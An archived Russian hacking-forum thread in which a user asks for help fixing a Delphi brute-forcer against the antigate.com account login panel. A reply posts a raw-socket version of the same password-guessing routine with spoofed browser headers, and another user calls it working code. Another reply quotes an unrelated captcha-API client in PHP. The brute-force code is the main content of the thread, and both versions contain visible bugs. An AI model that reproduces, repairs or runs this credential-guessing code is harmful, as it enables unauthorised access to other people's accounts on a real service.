Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 
журналы новости статьи video форум подписка на «Хакер»

Помогите

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Компилируемые языки] >> Помогите
Имя
Сообщение << Старые топики   Новые топики >>
Помогите - 2011-08-07 13:32:55.920000   
wekly

Сообщений: 505
Оценки: 0
Присоединился: 2011-07-08 14:35:05.483333
Пишу брат антигейт.ком
Посмотрите код что то я не так сделал.
quote:

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, jpeg, ExtCtrls, StdCtrls, IdBaseComponent, IdComponent,
IdTCPConnection, IdTCPClient, IdHTTP;

type
TForm1 = class(TForm)
Image1: TImage;
Memo1: TMemo;
Button1: TButton;
Memo2: TMemo;
Label1: TLabel;
Lable2: TLabel;
UserHACK: TEdit;
IdHTTP1: TIdHTTP;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var
i:integer;
info:Tstringlist;
p:Tstringlist;
begin
info:=tstringlist.Create;
p:=tstringlist.Create;

for i:=0 to Memo1.Lines.Count-1 do
begin
info.Add('enter_login='+UserHACK.Text);
info.Add('password='+Memo1.Lines.Strings);
p.Text:=IdHTTP1.Post('http://antigate.com/panel.php', info);
if pos('logout', p.Text)&gt;0 then
begin
Memo2.Lines.Add(Memo1.Lines.Strings+'__GOOD!');
break
end
else
begin
Memo2.Lines.Add(Memo1.Lines.Strings+'__ERROR');
end;
end;
end;



end

За ответ заранее благодарю.
Post #: 1
RE: Помогите - 2011-08-08 14:45:14.593333   
code_maker

Сообщений: 27
Оценки: 0
Присоединился: 2011-07-24 17:46:28.343333
 ВНИМАНИЕ!

Данный текст могут видеть только пользователи у которых более 50 постов!

интересно что ж там такого секретного?или люди которые не зарегались и отфлудили своих дурацких 50 постов не в чём не разбираются?!
Post #: 2
RE: Помогите - 2011-08-08 20:56:34.773333   
wekly

Сообщений: 505
Оценки: 0
Присоединился: 2011-07-08 14:35:05.483333
 Открыл смотри.
Post #: 3
RE: Помогите - 2011-08-09 09:37:34.306666   
ololo__schoolboy

Сообщений: 118
Оценки: 0
Присоединился: 2011-06-14 12:42:52.573333
 я в дельфях не силен, но в одном из пхп скриптов видел любопытную функцию:
function recognize($filename, $apikey, $is_verbose = true, $rtimeout = 5, $mtimeout = 120, $is_phrase = 0, $is_regsense = 0, $is_numeric = 0, $min_len = 0, $max_len = 0) { &nbsp;&nbsp;&nbsp; if (!file_exists($filename)) &nbsp;&nbsp;&nbsp; { &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if ($is_verbose) echo "file $filename not found\n"; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; return false; &nbsp;&nbsp;&nbsp; } &nbsp;&nbsp;&nbsp; $postdata = array( &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 'method'&nbsp;&nbsp;&nbsp; =&gt; 'post', &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 'key'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =&gt; $apikey, &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 'file'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =&gt; '@'.$filename, //полный путь к файлу &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 'phrase'&nbsp;&nbsp;&nbsp; =&gt; $is_phrase, &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 'regsense'&nbsp;&nbsp;&nbsp; =&gt; $is_regsense, &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 'numeric'&nbsp;&nbsp;&nbsp; =&gt; $is_numeric, &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 'min_len'&nbsp;&nbsp;&nbsp; =&gt; $min_len, &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 'max_len'&nbsp;&nbsp;&nbsp; =&gt; $max_len, &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; ); &nbsp;&nbsp;&nbsp; $ch = curl_init(); &nbsp;&nbsp;&nbsp; curl_setopt($ch, CURLOPT_URL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 'http://www.antigate.com/in.php'); &nbsp;&nbsp;&nbsp; curl_setopt($ch, CURLOPT_RETURNTRANSFER,&nbsp;&nbsp;&nbsp;&nbsp; 1); &nbsp;&nbsp;&nbsp; curl_setopt($ch, CURLOPT_TIMEOUT,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 60); &nbsp;&nbsp;&nbsp; curl_setopt($ch, CURLOPT_POST,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1); &nbsp;&nbsp;&nbsp; curl_setopt($ch, CURLOPT_POSTFIELDS,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $postdata); &nbsp;&nbsp;&nbsp; $result = curl_exec($ch); &nbsp;&nbsp;&nbsp; if (curl_errno($ch)) &nbsp;&nbsp;&nbsp; { &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if ($is_verbose) echo "CURL returned error: ".curl_error($ch)."\n"; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return false; &nbsp;&nbsp;&nbsp; } &nbsp;&nbsp;&nbsp; curl_close($ch); &nbsp;&nbsp;&nbsp; if (strpos($result, "ERROR")!==false) &nbsp;&nbsp;&nbsp; { &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if ($is_verbose) echo "server returned error: $result\n"; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return false; &nbsp;&nbsp;&nbsp; } &nbsp;&nbsp;&nbsp; else &nbsp;&nbsp;&nbsp; { &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $ex = explode("|", $result); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $captcha_id = $ex[1]; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if ($is_verbose) echo "captcha sent, got captcha ID $captcha_id\n"; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $waittime = 0; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($is_verbose) echo "waiting for $rtimeout seconds\n"; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sleep($rtimeout); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while(true) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; { &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $result = file_get_contents('http://antigate.com/res.php?key='.$apikey.'&amp;action=get&amp;id='.$captcha_id); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (strpos($result, 'ERROR')!==false) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; { &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if ($is_verbose) echo "server returned error: $result\n"; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return false; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($result=="CAPCHA_NOT_READY") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; { &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if ($is_verbose) echo "captcha is not ready yet\n"; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; $waittime += $rtimeout; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if ($waittime&gt;$mtimeout) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; { &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if ($is_verbose) echo "timelimit ($mtimeout) hit\n"; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; break; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; } &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if ($is_verbose) echo "waiting for $rtimeout seconds\n"; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; sleep($rtimeout); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; { &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; $ex = explode('|', $result); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if (trim($ex[0])=='OK') return trim($ex[1]); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return false; &nbsp;&nbsp;&nbsp; } }
вот еще нагуглил: http://codingworld.ru/showthread.php?t=1292
Post #: 4
RE: Помогите - 2011-08-09 09:39:47.780000   
wekly

Сообщений: 505
Оценки: 0
Присоединился: 2011-07-08 14:35:05.483333
 И что это? Флуд? Гавно ответ?
Post #: 5
RE: Помогите - 2011-08-09 14:00:05.310000   
wekly

Сообщений: 505
Оценки: 0
Присоединился: 2011-07-08 14:35:05.483333
 ^up^
Post #: 6
RE: Помогите - 2011-08-09 19:22:34.696666   
wekly

Сообщений: 505
Оценки: 0
Присоединился: 2011-07-08 14:35:05.483333
 ^UP^
Post #: 7
RE: Помогите - 2011-08-09 19:47:48.646666   
XyuTa

Сообщений: 3
Оценки: 0
Присоединился: 2011-08-02 14:16:38.193333
 не?
procedure TForm1.FormCreate(Sender: TObject); begin wsaStartup(MAKEWORD(2,2), wsData); end; procedure TForm1.FormDestroy(Sender: TObject); begin wsaCleanup; end; function Resolve(host: string):string; var IP:string; hostEnt : PHostEnt; hostName : array [0..255] of char; addr : PChar; begin result:=host; try strpcopy(hostname, host); hostEnt := gethostbyname(hostName); if Assigned(hostEnt) and Assigned(hostEnt^.h_addr_list) then begin addr:=hostEnt^.h_addr_list^; IP:=Format('%d.%d.%d.%d', [byte(addr[0]), byte(addr[1]), byte(addr[2]), byte(addr[3])]); end; result:=ip; except end; end; function login(login, pwd:string):string;stdcall; var I:integer; req,data,GoodOrNot: string; buf: array[0..500] of char; Sock:TSocket; begin host :=resolve('antigate.com'); adr.sin_addr.s_addr :=inet_addr(pchar(host)); adr.sin_family :=AF_INET; adr.sin_port :=htons(80); Sock:=Socket(AF_INET, SOCK_STREAM, IPPROTO_IP); if Sock=-1 then Exit; if connect(sock,adr,sizeof(adr))&lt;&gt;0 then CloseSocket(Sock); data:='enter_login='+login+'&password='+pwd; req:='POST /panel.php HTTP/1.0'#13#10+ 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8, */*'#13#10+ 'Referer: http://mail.ru/'#13#10+ 'Accept-Language: ru'#13#10+ 'Content-Type: application/x-www-form-urlencoded'#13#10+ 'Proxy-Connection: Keep-Alive'#13#10+ 'User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 4.8 (build 01709); .NET CLR 1.1.4322)'#13#10+ 'Host: antigate.com'#13#10+ 'Content-Length: '+inttostr(length(data))+#13#10+ 'Pragma: no-cache'#13#10#13#10+data; i:= send(Sock,pointer(req)^,length(req),0); if i=SOCKET_ERROR then exit; fillchar(buf,sizeof(buf),0); recv(Sock,buf,sizeof(buf),0); closesocket(Sock); if strpos(buf, PAnsiChar('logout'))&lt;&gt;nil then GoodOrNot:='good' else FoundOrNot:='bad'; result:=GoodOrNot; end;
Post #: 8
RE: Помогите - 2011-08-13 12:01:03.376666   
wekly

Сообщений: 505
Оценки: 0
Присоединился: 2011-07-08 14:35:05.483333
 UP
Post #: 9
RE: Помогите - 2011-08-13 16:09:56.316666   
KwanzaBot

Сообщений: 129
Оценки: 0
Присоединился: 2011-04-18 19:45:33.773333
quote:

Пишу брат антигейт.ком

А он всегда мечтал о сестре [:(]
Post #: 10
RE: Помогите - 2011-08-13 16:48:59.743333   
Lauri

Сообщений: 1096
Оценки: 73
Присоединился: 2010-01-04 14:03:18.723333
 В посте номер 8 разве не рабочий код? И если я не ошибаюсь, в правилах форума запрещено писать в названии темы слова "помогите" и тд.
Post #: 11
Страниц:  [1]
Все форумы >> [Компилируемые языки] >> Помогите







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.